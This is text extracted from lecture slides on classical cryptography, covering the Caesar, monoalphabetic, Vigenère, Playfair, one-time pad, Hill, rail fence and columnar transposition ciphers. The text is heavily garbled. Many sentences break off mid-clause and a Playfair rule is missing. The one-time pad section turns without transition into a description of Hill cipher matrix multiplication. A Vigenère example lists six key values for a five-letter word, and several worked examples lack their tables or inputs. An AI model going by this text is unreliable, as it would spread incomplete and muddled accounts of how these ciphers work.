ch3 Lect 2 Cryptography
ch3 Lect 2 Cryptography
messages that were used before the advent of modern cryptographic algorithms.
These techniques rely on simple mathematical operations and substitution or transposition of characters within the
message.
Caesar Cipher:
Vigenère Cipher:
Playfair Cipher:
Columnar Transposition:
Cont…
Substitution Technique
Substitution technique is a method used in encryption and cryptography to replace
This technique is commonly used in classical encryption methods and is still utilized
Caesar Cipher.
Monoalphabetic Cipher.
Polyalphabetic Cipher.
Playfair Cipher.
One-Time Pad.
Hill Cipher
Caesar Cipher
The Caesar cipher is a simple substitution cipher that is one of the earliest and most well-known encryption
techniques.
If the plaintext is viewed as a sequence of bits, then substitution involves replacing plaintext bit patterns with
It involves shifting each letter in the plaintext by a fixed number of positions down or up the alphabet.
Choose a shift value: This is the number of positions by which each letter will be shifted.
For example, a shift value of 3 means it is a key=3 that 'A' will be encrypted as 'D', 'B' as 'E', and so on.
Cont…
Convert the plaintext to ciphertext: Go through each letter in the plaintext and shift it according
to the chosen value.
For example, if the shift value is 3 and the plaintext is "HELLO," the ciphertext would be
"KHOOR."
Decrypting the ciphertext: To decrypt the ciphertext, simply shift each letter back by the same
amount.
For example, using a shift value of 3, the ciphertext "KHOOR" would be decrypted as
"HELLO" again.
The encryption can be represented using modular arithmetic by first transforming the letters
into numbers, according to the scheme, A= 0, B = 1,…, Z = 25.
Here's how modular arithmetic is used in the Caesar cipher
Assign numerical values to the letters: Each letter of the alphabet is assigned a numerical value. For example,
'A' may be assigned the value 0, 'B' the value 1, and so on up to 'Z' with the value 25.
Choose a shift value: This is the number of positions by which each letter will be shifted. For example, a shift
value of 3 means that 'A' will be encrypted as 'D,' 'B' as 'E,' and so on
Encrypting the plaintext: To encrypt a letter, add the shift value to its numerical value and take the result
Decrypting the ciphertext: To decrypt a letter, subtract the shift value from its numerical value and take the
result modulo 26. This brings the letter back to its original position.
For example, with a shift value of 3, 'D' (3) decrypts to (3 - 3) mod 26 = 0, which corresponds to 'A' in the
plaintext.
Cont…
.
Monoalphabetic Cipher
A monoalphabetic cipher is a substitution cipher where each letter in the plaintext is replaced
It is a substitution cipher, where the cipher alphabet for each plain text alphabet is fixed, for
In simple words, if the alphabet ‘p’ in the plain text is replaced by the cipher alphabet ‘d’ then
in the entire plain text wherever alphabet ‘p’ is used, it will be replaced by the alphabet ‘d ’to
Encrypting the plaintext: Go through each letter in the plaintext and replace it with the
For example, if 'A' in the plaintext is mapped to 'D' in the substitution table, then 'A' would be
encrypted as 'D'.
Decrypting the ciphertext: To decrypt the ciphertext, use the reverse mapping. Replace each letter
in the ciphertext with the corresponding letter from the substitution table in reverse.
For example, if 'D' in the ciphertext is mapped to 'A' in the substitution table, then 'D' would be
decrypted as 'A'.
Cont…
Polyalphabetic Cipher
A polyalphabetic cipher is a type of substitution cipher that uses multiple substitution alphabets to encrypt the
plaintext.
Unlike monoalphabetic ciphers, where each letter is consistently substituted with a single corresponding letter,
polyalphabetic ciphers employ different substitution rules based on the position of the letter within the plaintext.
A polyalphabetic cipher is a cipher where different substitution alphabets are used for various parts of the plaintext
message.
In polyalphabetic substitution ciphers, the plaintext letters are ciphered differently based upon their installation in
the text.
Rather than being a one-to-one correspondence, there is a one-to-many relationship between each letter and its
substitutes.
The most well-known polyalphabetic cipher is the Vigenère cipher, which operates as follows.
Cont…
Generate a keyword: Choose a keyword that will determine the substitution alphabets. The
keyword should be repeated to match the length of the plaintext.
For example, if the keyword is "KEY" and the plaintext is "HELLO," the keyword would be
repeated as "KEYKE."
So, to encrypt the word "HELLO" using the Vigenère cipher, you would need a keyword that
determines the sequence of substitution alphabets.
Keyword: K E Y K E
Plaintext: H E L L O
Cont…
Next, we convert the letters of the keyword and the plaintext into numerical values. A
Following this convention, the numerical values for the keyword and plaintext become:
Keyword: 10 4 24 10 4 24
Plaintext: 7 4 11 11 14
Now, we add the numerical values of the keyword and plaintext, modulo 26, to obtain the
ciphertext values.
Modulo 26 means that if the sum exceeds 25, we wrap back around to 0.
Cont…
Ciphertext: (10 + 7) % 26 = 17 (R)
(4 + 4) % 26 = 8 (I)
(4 + 14) % 26 = 18 (S)
So, the word "HELLO" is encrypted to "RIJVS" using the Vigenère cipher with the keyword
"KEY".
To decrypt the ciphertext back to the original plaintext, you would subtract the numerical values of
the keyword from the corresponding ciphertext values, again using modulo 26 arithmetic.
Playfair Cipher
The Playfair cipher is a manual symmetric encryption technique that uses a 5x5 matrix of
The technique encrypts pairs of letters instead of single letters as in the simple substitution
cipher and rather more complex Vigenère cipher systems then in use.
It is thus significantly harder to break since the frequency analysis used for simple
Memorization of the keyword and 4 simple rules was all that was required to create the 5
(dropping any duplicate letters) and then fill the remaining spaces with the rest of the letters of
the alphabet in order (usually omitting "J" or "Q" to reduce the alphabet to fit; other versions put
The key can be written in the top rows of the table, from left to right. The keyword together with
the conventions for filling in the 5 by 5 table constitute the cipher key.
To encrypt a message, one would break the message into digrams (groups of 2 letters).
Since encryption requires pairs of letters, messages with an odd number of characters usually
the plaintext:
1. If both letters are the same (only one letter is left), add an "X" after the first letter.
Some variants of Playfair use "Q" instead of "X", but any letter, itself uncommon as a
2. If the letters appear on the same row of your table, replace them with the letters to their
immediate right respectively (wrapping around to the left side of the row if a letter in
4. If the letters are not on the same row or column, replace them with the letters
on the same row respectively but at the other pair of corners of the rectangle
defined by the original pair.
The order is important – the first letter of the encrypted pair is the one that lies
on the same row as the first letter of the plaintext pair.
Cont…
To decrypt, use the inverse (opposite) of the two shift rules, selecting the letter
The last rule remains unchanged, as the transformation switches the selected
The first rule can only be reversed by dropping any extra instances of the
chosen insert letter — generally "X"s or "Q"s — that do not make sense in the
final message when finished.
Example
Key : MONARCHY
C=CFSUAV
One-Time Pad
The One-Time Pad (OTP) is a cryptographic technique for secure communication that provides
perfect secrecy when used correctly and also known as the Vernam cipher.
The One-Time Pad involves the use of a random key that is at least as long as the plaintext message.
It is one of the Substitution techniques which converts plain text into ciphertext.In this mechanism,
It divides the plaintext into blocks of letters, and each block is treated as a single unit during the encryption and decryption
processes. each block is treated as vector. The key matrix is then multiplied with each vector to obtain the corresponding
ciphertext vector.
So, to encrypt a message , the plaintext is divided into blocks of letters corresponding to the size of the key matrix. Each
block is then converted into a numerical representation (usually using the letters' positions in the alphabet).
The size of the blocks corresponds to the dimensions of the key matrix and the size of the key matrix is determined by the
For example, if the alphabet consists of 26 letters (A to Z), the key matrix would typically be a square matrix with
dimensions 2x2 (for pairs of letters) or 3x3 (for triplets of letters), or any larger square matrix depending on the desired
block size.
Cont…
The dimensions of the key matrix must match the number of letters in each block of plaintext or
ciphertext.
If the block size is 2, a 2x2 key matrix would be used. If the block size is 3, a 3x3 key matrix
would be used, and so on.
The matrix used for encryption is the cipher key, and it should be chosen randomly from the set of
invertible n × n matrices (modulo 26).
The key matrix is multiplied with each block of plaintext to obtain the ciphertext block.
The resulting numerical values are converted back into letters to generate the ciphertext.
Similarly, during decryption, the inverse of the key matrix is multiplied with the ciphertext vector
to recover the plaintext vector.
Cont…
By operating on groups of letters, the Hill cipher increases the complexity of
the encryption process and makes it more resistant to frequency analysis attacks.
It was the first polygraphy cipher in which it was practical to operate on more
The Hill cipher is more secure than simple substitution ciphers because it
frequency analysis.
Cont…
Cont…
Cont…
Cont…
Transposition Cipher
A transposition cipher is a type of encryption scheme that rearranges the
themselves.
plain text and mapping plain text into cipher text using transposition technique is
Apply the chosen rule to reorder the blocks or characters of the plaintext.
Columnar Transposition
Rail fence
In the rail fence cipher, the plaintext is written downwards diagonally on successive
"rails" of an imaginary fence, then moving up when the bottom rail is reached, down
again when the top rail is reached, and so on until the whole plaintext is written out.
The ciphertext is then read off in rows.
The Rail Fence Cipher is a type of transposition cipher and a transposition cipher
involves the rearranging of the letters in the plaintext to encrypt the message.
This is in contrast to a substitution cipher, in which the plaintext letters are replaced
by letters from another alphabet (or by different letters from the same alphabet).
Cont…
The rail fence cipher is the simplest transposition cipher.
The steps to obtain cipher text using this technique are as follow:
2. Step 2: Then, to obtain the cipher text the text is read as a sequence of rows.
Example, Plain Text: meet me Tomorrow In a depth-two rail fence (two rows)
Now, we will write this plain text sequence wise in a diagonal form as you can
see below:
Cont…
Once you have written the message as a sequence of diagonals, to obtain
the cipher text then read off as a sequence of rows.
So, reading the first row the first half of cipher text will be:
• memtmro
Reading the second row of the rail fence, we will get the second half of
the cipher text:
eteoorw
Now, to obtain the complete cipher text combine both the halves of
cipher text and the complete cipher text will be:
Cipher Text: M E M T M R O E T E O O R W
Cont…
Example 2: using three "rails" and a message of 'WE ARE
Class Work:
Key(Depth): 3
off in columns.
In its simplest form, it is the Route Cipher where the route is to read down each column in order.
In a columnar transposition, the message is written out in rows of a fixed length, and then read out
again column by column, and the columns are chosen in some scrambled order.
Both the width of the rows and the permutation of the columns are usually defined by a keyword.
For example, Keyword ZEBRAS is of length 6 (so the rows are of length 6), and the permutation is
Keyword ZEBRAS is of length 6 (so the rows are of length 6), and
keyword.
30/6= 5 row
We start similarly to above, by heading the columns with the keyword ZEBRAS.
This time, to find how many rows we need, we do 25 ÷ 6 = 4.16 We round this up
to the next number, which is 5, so we need 5 rows.
After plugin the ciphertext letters in, in the same way as above, we get the above
table.
Common Symmetric Algorithms
Some of the most popular crypto algorithms are:
10Q !